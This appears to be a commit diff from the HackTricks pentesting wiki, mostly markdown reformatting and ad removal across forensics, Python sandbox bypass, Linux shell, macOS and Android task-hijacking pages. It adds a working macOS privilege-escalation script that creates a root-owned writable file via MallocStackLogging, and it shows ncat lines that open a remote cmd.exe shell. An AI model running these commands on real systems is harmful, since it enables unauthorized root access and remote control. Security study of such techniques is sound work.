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14
README.md
View file

@ -59,20 +59,6 @@ Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
### [Intruder](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)
<figure><img src=".gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Stay a step ahead in the cybersecurity game.
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) makes vulnerability management easy. Keep track of your attack surface, see where your company is vulnerable, and prioritize issues that leave your systems most exposed so you can focus on what matters most.
Run thousands of checks with a single platform that covers your entire tech stack from internal infrastructure to web apps, APIs and cloud systems. Integrate seamlessly with [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) and streamline DevOps so your team can implement fixes faster.
Intruder never rests. Round-the-clock protection monitors your systems 24/7. Want to learn more? Visit their site and take it for a spin with [**a free trial**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>

40
forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
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@ -1,7 +1,5 @@
# Partitions/File Systems/Carving
## Partitions/File Systems/Carving
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -11,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -82,30 +80,30 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways:
- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits.
- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data.
- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters.
* **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits.
* **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data.
* **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters.
**Data Resilience and Recovery**:
- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience.
- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location.
* **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience.
* **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location.
**Protective MBR (LBA0)**:
- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks.
* GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
**Hybrid MBR (LBA 0 + GPT)**
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
[From Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes.
**Partition table header (LBA 1)**
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
[From Wikipedia](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table).
@ -169,19 +167,19 @@ The **FAT (File Allocation Table)** file system is designed around its core comp
The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions:
- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX).
- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters.
- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume.
* **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX).
* **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters.
* **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume.
A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage.
Key components of the root directory, particularly for FAT12 and FAT16, include:
- **File/Folder Name** (up to 8 characters)
- **Attributes**
- **Creation, Modification, and Last Access Dates**
- **FAT Table Address** (indicating the start cluster of the file)
- **File Size**
* **File/Folder Name** (up to 8 characters)
* **Attributes**
* **Creation, Modification, and Last Access Dates**
* **FAT Table Address** (indicating the start cluster of the file)
* **File Size**
### EXT
@ -256,7 +254,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

47
forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
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@ -1,4 +1,4 @@
# File/Data Carving & Recovery Tools
<details>
@ -9,28 +9,20 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
# Carving & Recovery tools
## Carving & Recovery tools
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
## Autopsy
### Autopsy
The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files.
## Binwalk <a href="#binwalk" id="binwalk"></a>
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk).
@ -43,7 +35,7 @@ binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
### Foremost
Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types.
@ -53,7 +45,7 @@ foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
## **Scalpel**
### **Scalpel**
**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract.
@ -62,7 +54,7 @@ sudo apt-get install scalpel
scalpel file.img -o output
```
## Bulk Extractor
### Bulk Extractor
This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
@ -74,7 +66,7 @@ bulk_extractor memory.img -o out_folder
Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**).
## PhotoRec
### PhotoRec
You can find it in [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
@ -82,11 +74,11 @@ It comes with GUI and CLI versions. You can select the **file-types** you want P
![](<../../../.gitbook/assets/image (524).png>)
## binvis
### binvis
Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
### Features of BinVis
#### Features of BinVis
* Visual and active **structure viewer**
* Multiple plots for different focus points
@ -99,26 +91,19 @@ Check the [code](https://code.google.com/archive/p/binvis/) and the [web page to
BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario.
# Specific Data Carving Tools
## Specific Data Carving Tools
## FindAES
### FindAES
Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
Download [here](https://sourceforge.net/projects/findaes/).
# Complementary tools
## Complementary tools
You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -128,9 +113,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

40
generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
View file

@ -9,19 +9,11 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
These are some tricks to bypass python sandbox protections and execute arbitrary commands.
## Command Execution Libraries
@ -350,14 +342,6 @@ with (a as b):
pass
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Builtins
* [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
@ -739,18 +723,10 @@ if __name__ == "__main__":
You can check the output of this script on this page:
{% content-ref url="broken-reference" %}
[Broken link](broken-reference)
{% content-ref url="broken-reference/" %}
[broken-reference](broken-reference/)
{% endcontent-ref %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Python Format String
If you **send** a **string** to python that is going to be **formatted**, you can use `{}` to access **python internal information.** You can use the previous examples to access globals or builtins for example.
@ -1141,13 +1117,6 @@ will be bypassed
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details>
@ -1159,8 +1128,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

23
generic-methodologies-and-resources/shells/linux.md
View file

@ -9,19 +9,11 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com)
## Full TTY
@ -181,7 +173,7 @@ victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
@ -365,19 +357,12 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
```
## References
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
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<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -387,7 +372,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

26
macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md
View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -19,7 +19,7 @@ Other ways to support HackTricks:
Permissions in a **directory**:
* **read** - you can **enumerate** the directory entries
* **write** - you can **delete/write** **files** in the directory and you can **delete empty folders**.&#x20;
* **write** - you can **delete/write** **files** in the directory and you can **delete empty folders**.
* But you **cannot delete/modify non-empty folders** unless you have write permissions over it.
* You **cannot modify the name of a folder** unless you own it.
* **execute** - you are **allowed to traverse** the directory - if you don’t have this right, you can’t access any files inside it, or in any subdirectories.
@ -216,7 +216,7 @@ However, there are some files whose signature won't be checked, these have the k
</dict>
```
It's possible to claculate the signature of a resource from the cli with:
It's possible to calculate the signature of a resource from the cli with:
{% code overflow="wrap" %}
```bash
@ -290,7 +290,23 @@ If you have **arbitrary write**, you could create a file inside the folder **`/e
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file.
&#x20;You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable.
You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable.
## Generate writable files as other users
This will generate a file that belongs to root that is writable by me ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). This might also work as privesc:
```bash
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
```
## References
@ -305,7 +321,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

30
mobile-pentesting/android-app-pentesting/android-task-hijacking.md
View file

@ -9,31 +9,23 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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***
## Task, Back Stack and Foreground Activities
In Android, a **task** is essentially a set of activities that users interact with to complete a specific job, organized within a **back stack**. This stack orders activities based on when they were opened, with the most recent activity displayed at the top as the **foreground activity**. At any moment, only this activity is visible on the screen, making it part of the **foreground task**.
Here's a quick breakdown of activity transitions:
- **Activity 1** starts as the sole activity in the foreground.
- Launching **Activity 2** pushes **Activity 1** to the back stack, bringing **Activity 2** to the foreground.
- Starting **Activity 3** moves **Activity 1** and **Activity 2** further back in the stack, with **Activity 3** now in front.
- Closing **Activity 3** brings **Activity 2** back to the foreground, showcasing Android's streamlined task navigation mechanism.
* **Activity 1** starts as the sole activity in the foreground.
* Launching **Activity 2** pushes **Activity 1** to the back stack, bringing **Activity 2** to the foreground.
* Starting **Activity 3** moves **Activity 1** and **Activity 2** further back in the stack, with **Activity 3** now in front.
* Closing **Activity 3** brings **Activity 2** back to the foreground, showcasing Android's streamlined task navigation mechanism.
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../.gitbook/assets/image (548).png>)
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
## Task affinity attack
@ -53,7 +45,7 @@ The `launchMode` attribute directs the handling of activity instances within tas
4. **Hijack Execution**: Due to the matching task affinity, the malicious app is launched in place of the target app.
5. **Deception**: The malicious app presents a fake login screen resembling the target app, tricking the user into entering sensitive information.
For a practical implementation of this attack, refer to the Task Hijacking Strandhogg repository on GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
For a practical implementation of this attack, refer to the Task Hijacking Strandhogg repository on GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
### Prevention Measures
@ -64,12 +56,6 @@ To prevent such attacks, developers can set `taskAffinity` to an empty string an
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
